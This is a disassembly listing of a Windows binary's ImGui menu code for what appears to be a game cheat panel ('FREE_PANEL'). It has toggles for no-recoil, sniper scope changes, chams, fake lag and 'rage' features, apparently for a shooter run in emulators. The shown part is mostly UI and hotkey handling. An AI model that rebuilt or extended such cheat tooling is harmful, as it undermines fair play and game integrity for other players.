cmp eax, dword [rcx + 0x476c]
je 0x14005949d
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005949d
cmp eax, dword [r9 + 0x74]
jne 0x140059569
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059502
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059502
cmp byte [rdx + 0xaf], r12b
je 0x140059502
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059502
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400594dc
bt r8d, 0x1a
jae 0x140059502
cmp qword [rax + 0x370], rdx
je 0x140059502
cmp rax, rdx
je 0x140059502
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400594e5
test dword [rcx + 0x4770], 0x100
je 0x140059569
test byte [rcx + 0x4770], 4
jne 0x140059569
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059520
cmp byte [r9 + 0xb0], r12b
jne 0x140059569
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
mov rax, qword [0x140146120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140059564
mov r8d, 0x26d8
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011ad0
lea r9, [0x140146254]
lea r8, [0x1400e7fe0]
lea rdx, [0x14014619e]
lea rcx, str.SPED_X99__OF_
call fcn.14003a150
mov byte [0x1401461e7], al
test al, al
je 0x1400595c2
cmp byte [0x14014619e], r12b
je 0x1400595c2
lea rcx, [rbp + 0x510]
call fcn.14005fc80
lea rcx, [rbp + 0x510]
call fcn.14004c3a0
cmp dword [rbp + 0x518], r12d
jne 0x14005c3a2
mov ecx, dword [0x140146254]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005960c
cmp byte [0x14014619e], r12b
sete al
mov byte [0x14014619e], al
test al, al
je 0x14005960c
lea rcx, [rbp + 0x520]
call fcn.14005fc80
lea rcx, [rbp + 0x520]
call fcn.14004c3a0
cmp dword [rbp + 0x528], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059658
cmp byte [rcx + 0x48f2], r12b
jne 0x140059658
test byte [rcx + 0x4770], 4
jne 0x140059738
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059738
test eax, eax
jne 0x140059720
jmp 0x140059738
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059738
cmp qword [rcx + 0x3ed8], r9
je 0x140059678
test al, al
jns 0x140059738
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005969d
cmp eax, dword [rcx + 0x476c]
je 0x14005969d
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005969d
cmp eax, dword [r9 + 0x74]
jne 0x140059738
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059702
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059702
cmp byte [rdx + 0xaf], r12b
je 0x140059702
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059702
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400596dc
bt r8d, 0x1a
jae 0x140059702
cmp qword [rax + 0x370], rdx
je 0x140059702
cmp rax, rdx
je 0x140059702
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400596e5
test dword [rcx + 0x4770], 0x100
je 0x140059738
test byte [rcx + 0x4770], 4
jne 0x140059738
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059720
cmp byte [r9 + 0xb0], r12b
jne 0x140059738
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, [0x1400e7fe0]
lea rdx, [0x14014614e]
lea rcx, str.NO_RECOL
call fcn.14003a150
mov byte [0x14014611b], al
test al, al
je 0x14005978d
cmp byte [0x14014614e], r12b
je 0x14005978d
lea rcx, [rbp + 0x530]
call fcn.14005fcf0
lea rcx, [rbp + 0x530]
call fcn.14004c3a0
cmp dword [rbp + 0x538], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x1400597d9
cmp byte [rcx + 0x48f2], r12b
jne 0x1400597d9
test byte [rcx + 0x4770], 4
jne 0x1400598ea
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400598ea
test eax, eax
jne 0x1400598a1
jmp 0x1400598ea
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x1400598ea
cmp qword [rcx + 0x3ed8], r9
je 0x1400597f9
test al, al
jns 0x1400598ea
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005981e
cmp eax, dword [rcx + 0x476c]
je 0x14005981e
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005981e
cmp eax, dword [r9 + 0x74]
jne 0x1400598ea
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059883
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059883
cmp byte [rdx + 0xaf], r12b
je 0x140059883
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059883
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005985d
bt r8d, 0x1a
jae 0x140059883
cmp qword [rax + 0x370], rdx
je 0x140059883
cmp rax, rdx
je 0x140059883
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059866
test dword [rcx + 0x4770], 0x100
je 0x1400598ea
test byte [rcx + 0x4770], 4
jne 0x1400598ea
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400598a1
cmp byte [r9 + 0xb0], r12b
jne 0x1400598ea
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
mov rax, qword [0x140146120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400598e5
mov r8d, 0x26d8
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011ad0
call fcn.14000c330
mov eax, dword [0x14016753c]
cmp eax, 2
jne 0x14005a040
mov rcx, qword [0x140146120]
lea rdx, str.RAGE
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x50], 0x43960000
mov dword [rbp + 0x54], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rcx, str.RAGE
call fcn.14000bfd0
xor r9d, r9d
lea r8, str.Apply_in_Each_Match
lea rdx, [0x14014619a]
lea rcx, str.SNIPER_SCOP
call fcn.14003a150
mov byte [0x14014611f], al
test al, al
je 0x140059a0c
cmp byte [0x14014619a], r12b
je 0x1400599e7
lea rcx, [rbp + 0x540]
call fcn.14005fd60
lea rcx, [rbp + 0x540]
call fcn.14004c3a0
cmp dword [rbp + 0x548], r12d
jmp 0x140059a06
lea rcx, [rbp + 0x550]
call fcn.14005fd60
lea rcx, [rbp + 0x550]
call fcn.14004c3a0
cmp dword [rbp + 0x558], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059a58
cmp byte [rcx + 0x48f2], r12b
jne 0x140059a58
test byte [rcx + 0x4770], 4
jne 0x140059b38
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059b38
test eax, eax
jne 0x140059b20
jmp 0x140059b38
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059b38
cmp qword [rcx + 0x3ed8], r9
je 0x140059a78
test al, al
jns 0x140059b38
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140059a9d
cmp eax, dword [rcx + 0x476c]
je 0x140059a9d
cmp byte [rcx + 0x3f3d], r12b
jne 0x140059a9d
cmp eax, dword [r9 + 0x74]
jne 0x140059b38
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059b02
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059b02
cmp byte [rdx + 0xaf], r12b
je 0x140059b02
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059b02
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140059adc
bt r8d, 0x1a
jae 0x140059b02
cmp qword [rax + 0x370], rdx
je 0x140059b02
cmp rax, rdx
je 0x140059b02
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059ae5
test dword [rcx + 0x4770], 0x100
je 0x140059b38
test byte [rcx + 0x4770], 4
jne 0x140059b38
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059b20
cmp byte [r9 + 0xb0], r12b
jne 0x140059b38
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, [0x1400e7fe0]
lea rdx, [0x14014614d]
lea rcx, str.SNIPER_SWITCH
call fcn.14003a150
mov byte [0x140146119], al
test al, al
je 0x140059bae
cmp byte [0x14014614d], r12b
je 0x140059b89
lea rcx, [rbp + 0x560]
call fcn.14005fdd0
lea rcx, [rbp + 0x560]
call fcn.14004c3a0
cmp dword [rbp + 0x568], r12d
jmp 0x140059ba8
lea rcx, [rbp + 0x570]
call fcn.14005fdd0
lea rcx, [rbp + 0x570]
call fcn.14004c3a0
cmp dword [rbp + 0x578], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059bfa
cmp byte [rcx + 0x48f2], r12b
jne 0x140059bfa
test byte [rcx + 0x4770], 4
jne 0x140059cda
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059cda
test eax, eax
jne 0x140059cc2
jmp 0x140059cda
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059cda
cmp qword [rcx + 0x3ed8], r9
je 0x140059c1a
test al, al
jns 0x140059cda
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140059c3f
cmp eax, dword [rcx + 0x476c]
je 0x140059c3f
cmp byte [rcx + 0x3f3d], r12b
jne 0x140059c3f
cmp eax, dword [r9 + 0x74]
jne 0x140059cda
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059ca4
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059ca4
cmp byte [rdx + 0xaf], r12b
je 0x140059ca4
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059ca4
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140059c7e
bt r8d, 0x1a
jae 0x140059ca4
cmp qword [rax + 0x370], rdx
je 0x140059ca4
cmp rax, rdx
je 0x140059ca4
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059c87
test dword [rcx + 0x4770], 0x100
je 0x140059cda
test byte [rcx + 0x4770], 4
jne 0x140059cda
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059cc2
cmp byte [r9 + 0xb0], r12b
jne 0x140059cda
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Apply_in_Loby
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, str.Apply_in_Each_Match
lea rdx, [0x140146196]
lea rcx, str.SNIPER_NO_SCOP
call fcn.14003a150
mov byte [0x1401461e6], al
test al, al
je 0x140059d50
cmp byte [0x14014619f], r12b
je 0x140059d2b
lea rcx, [rbp + 0x580]
call fcn.14005fe40
lea rcx, [rbp + 0x580]
call fcn.14004c3a0
cmp dword [rbp + 0x588], r12d
jmp 0x140059d4a
lea rcx, [rbp + 0x450]
call fcn.14005fe40
lea rcx, [rbp + 0x450]
call fcn.14004c3a0
cmp dword [rbp + 0x458], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059d9c
cmp byte [rcx + 0x48f2], r12b
jne 0x140059d9c
test byte [rcx + 0x4770], 4
jne 0x140059e83
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059e83
test eax, eax
jne 0x140059e6b
jmp 0x140059e83
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059e83
cmp qword [rcx + 0x3ed8], r9
je 0x140059dbc
test al, al
jns 0x140059e83
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140059de1
cmp eax, dword [rcx + 0x476c]
je 0x140059de1
cmp byte [rcx + 0x3f3d], r12b
jne 0x140059de1
cmp eax, dword [r9 + 0x74]
jne 0x140059e83
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059e4d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059e4d
cmp byte [rdx + 0xaf], r12b
je 0x140059e4d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059e4d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140059e20
bt r8d, 0x1a
jae 0x140059e4d
cmp qword [rax + 0x370], rdx
je 0x140059e4d
nop dword [rax]
cmp rax, rdx
je 0x140059e4d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059e30
test dword [rcx + 0x4770], 0x100
je 0x140059e83
test byte [rcx + 0x4770], 4
jne 0x140059e83
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059e6b
cmp byte [r9 + 0xb0], r12b
jne 0x140059e83
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Apply_in_Each_Match
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, [0x1400e7fe0]
lea rdx, [0x14014619b]
lea rcx, str.LOCATION_AWM_Y_M82B
call fcn.14003a150
mov byte [0x140146135], al
test al, al
je 0x140059ed8
cmp byte [0x14014619b], r12b
je 0x140059ed8
lea rcx, [rbp + 0x590]
call fcn.14005feb0
lea rcx, [rbp + 0x590]
call fcn.14004c3a0
cmp dword [rbp + 0x598], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059f24
cmp byte [rcx + 0x48f2], r12b
jne 0x140059f24
test byte [rcx + 0x4770], 4
jne 0x14005a035
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005a035
test eax, eax
jne 0x140059fec
jmp 0x14005a035
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005a035
cmp qword [rcx + 0x3ed8], r9
je 0x140059f44
test al, al
jns 0x14005a035
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140059f69
cmp eax, dword [rcx + 0x476c]
je 0x140059f69
cmp byte [rcx + 0x3f3d], r12b
jne 0x140059f69
cmp eax, dword [r9 + 0x74]
jne 0x14005a035
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059fce
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059fce
cmp byte [rdx + 0xaf], r12b
je 0x140059fce
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059fce
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140059fa8
bt r8d, 0x1a
jae 0x140059fce
cmp qword [rax + 0x370], rdx
je 0x140059fce
cmp rax, rdx
je 0x140059fce
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059fb1
test dword [rcx + 0x4770], 0x100
je 0x14005a035
test byte [rcx + 0x4770], 4
jne 0x14005a035
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059fec
cmp byte [r9 + 0xb0], r12b
jne 0x14005a035
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Apply_in_Match
call fcn.140038320
mov rax, qword [0x140146120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x14005a030
mov r8d, 0x26d8
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011ad0
call fcn.14000c330
mov eax, dword [0x14016753c]
cmp eax, r13d
jne 0x14005a498
mov rcx, qword [0x140146120]
lea rdx, str.Visual
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x58], 0x43960000
mov dword [rbp + 0x5c], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x58]
lea rcx, str.Visual
call fcn.14000bfd0
xor r9d, r9d
lea r8, str.Open_In_Emulators
lea rdx, [0x14014619c]
lea rcx, str.CHAMS_MENU_NORMAL
call fcn.14003a150
mov byte [0x140146136], al
test al, al
je 0x14005a136
cmp byte [0x14014619c], r12b
je 0x14005a136
lea rcx, [rbp + 0x5a0]
call fcn.14005ff20
lea rcx, [rbp + 0x5a0]
call fcn.14004c3a0
cmp dword [rbp + 0x5a8], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005a182
cmp byte [rcx + 0x48f2], r12b
jne 0x14005a182
test byte [rcx + 0x4770], 4
jne 0x14005a263
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005a263
test eax, eax
jne 0x14005a24b
jmp 0x14005a263
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005a263
cmp qword [rcx + 0x3ed8], r9
je 0x14005a1a2
test al, al
jns 0x14005a263
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005a1c7
cmp eax, dword [rcx + 0x476c]
je 0x14005a1c7
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005a1c7
cmp eax, dword [r9 + 0x74]
jne 0x14005a263
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005a22d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005a22d
cmp byte [rdx + 0xaf], r12b
je 0x14005a22d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005a22d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005a206
bt r8d, 0x1a
jae 0x14005a22d
cmp qword [rax + 0x370], rdx
je 0x14005a22d
nop
cmp rax, rdx
je 0x14005a22d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005a210
test dword [rcx + 0x4770], 0x100
je 0x14005a263
test byte [rcx + 0x4770], 4
jne 0x14005a263
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005a24b
cmp byte [r9 + 0xb0], r12b
jne 0x14005a263
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Open_In_Emulators
call fcn.140038320
call fcn.140017740
xor r9d, r9d
lea r8, str.Apply_InGame
lea rdx, [0x140146195]
lea rcx, str.CHAMS_MENU_PRO
call fcn.14003a150
mov byte [0x14014611d], al
test al, al
je 0x14005a2b8
cmp byte [0x140146195], r12b
je 0x14005a2b8
lea rcx, [rbp + 0x3a0]
call fcn.14005ff90
lea rcx, [rbp + 0x3a0]
call fcn.14004c3a0
cmp dword [rbp + 0x3a8], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005a304
cmp byte [rcx + 0x48f2], r12b
jne 0x14005a304
test byte [rcx + 0x4770], 4
jne 0x14005a3e4
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005a3e4
test eax, eax
jne 0x14005a3cc
jmp 0x14005a3e4
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005a3e4
cmp qword [rcx + 0x3ed8], r9
je 0x14005a324
test al, al
jns 0x14005a3e4
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005a349
cmp eax, dword [rcx + 0x476c]
je 0x14005a349
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005a349
cmp eax, dword [r9 + 0x74]
jne 0x14005a3e4
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005a3ae
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005a3ae
cmp byte [rdx + 0xaf], r12b
je 0x14005a3ae
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005a3ae
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005a388
bt r8d, 0x1a
jae 0x14005a3ae
cmp qword [rax + 0x370], rdx
je 0x14005a3ae
cmp rax, rdx
je 0x14005a3ae
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005a391
test dword [rcx + 0x4770], 0x100
je 0x14005a3e4
test byte [rcx + 0x4770], 4
jne 0x14005a3e4
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005a3cc
cmp byte [r9 + 0xb0], r12b
jne 0x14005a3e4
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Open_In_Emulators
call fcn.140038320
call fcn.140017740
call fcn.14000c330
mov rcx, qword [0x140146120]
lea rdx, str.Checkbox_xboot_X_tre_V1
movss xmm6, dword [0x1400e8528]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm6
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x60], 0x43960000
mov dword [rbp + 0x64], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x60]
lea rcx, str.Checkbox_xboot_X_tre_V1
call fcn.14000bfd0
call fcn.14000c330
mov eax, dword [0x14016753c]
jmp 0x14005a4a0
movss xmm6, dword [0x1400e8528]
cmp eax, 3
jne 0x14005a795
mov rcx, qword [0x140146120]
lea rdx, str.Checkbox_xboot_X_tre_V1
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm6
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x68], 0x43960000
mov dword [rbp + 0x6c], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x68]
lea rcx, str.Checkbox_xboot_X_tre_V1
call fcn.14000bfd0
call fcn.14000c330
mov eax, dword [0x14016753c]
cmp eax, 3
jne 0x14005a795
mov rcx, qword [0x140146120]
lea rdx, str.Checkbox_XBOOT_XITER_V2
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x70], 0x43960000
mov dword [rbp + 0x74], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x70]
lea rcx, str.Checkbox_XBOOT_XITER_V2
call fcn.14000bfd0
lea rax, [0x1400de8ac]
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x80]
lea rax, [rbp - 0x48]
mov dword [rbp - 0x48], 5
lea r8, [0x140146250]
mov qword [rsp + 0x20], rax
mov edx, 4
mov dword [rbp - 0x80], r12d
lea rcx, str.Fake_Lag
call fcn.14003cc50
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005a67f
cmp byte [rcx + 0x48f2], r12b
jne 0x14005a67f
test byte [rcx + 0x4770], 4
jne 0x14005a763
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005a763
test eax, eax
jne 0x14005a74b
jmp 0x14005a763
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005a763
cmp qword [rcx + 0x3ed8], r9
je 0x14005a69f
test al, al
jns 0x14005a763
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005a6c4
cmp eax, dword [rcx + 0x476c]
je 0x14005a6c4
cmp byte [rcx + 0x3f3d], r12b
jne 0x14005a6c4
cmp eax, dword [r9 + 0x74]
jne 0x14005a763
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005a72d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005a72d
cmp byte [rdx + 0xaf], r12b
je 0x14005a72d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005a72d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005a703
bt r8d, 0x1a
jae 0x14005a72d
cmp qword [rax + 0x370], rdx
je 0x14005a72d
nop dword [rax]
cmp rax, rdx
je 0x14005a72d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x14005a710
test dword [rcx + 0x4770], 0x100
je 0x14005a763
test byte [rcx + 0x4770], 4
jne 0x14005a763
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005a74b
cmp byte [r9 + 0xb0], r12b
jne 0x14005a763
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.SECOND_OF_FAKE_LAG
call fcn.140038320
call fcn.140017740
lea r9, [0x140146278]
lea r8, str.Apply_in_Each_Match
lea rdx, [0x140146194]
lea rcx, str.FAKE_LAG
call fcn.14003a150
mov byte [0x14014611c], al
call fcn.14000c330
mov eax, dword [0x14016753c]
cmp eax, 4
jne 0x14005bde1
mov rcx, qword [0x140146120]
lea rdx, str.Checkbox_xboot_X_tre_V2
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x78], 0x43960000
mov dword [rbp + 0x7c], 0x43f50000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], 8
xor r9d, r9d
lea r8, [rbp + 0x78]
lea rcx, str.Checkbox_xboot_X_tre_V2
call fcn.14000bfd0
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005a885
cmp byte [rcx + 0x48f2], r12b
jne 0x14005a885
test byte [rcx + 0x4770], 4
jne 0x14005a965
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005a965
test eax, eax
jne 0x14005a94d
jmp 0x14005a965
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005a965
cmp qword [rcx + 0x3ed8], r9
je 0x14005a8a5
test al, al
jns 0x14005a965
mov eax, dword [rcx + 0x3f30]
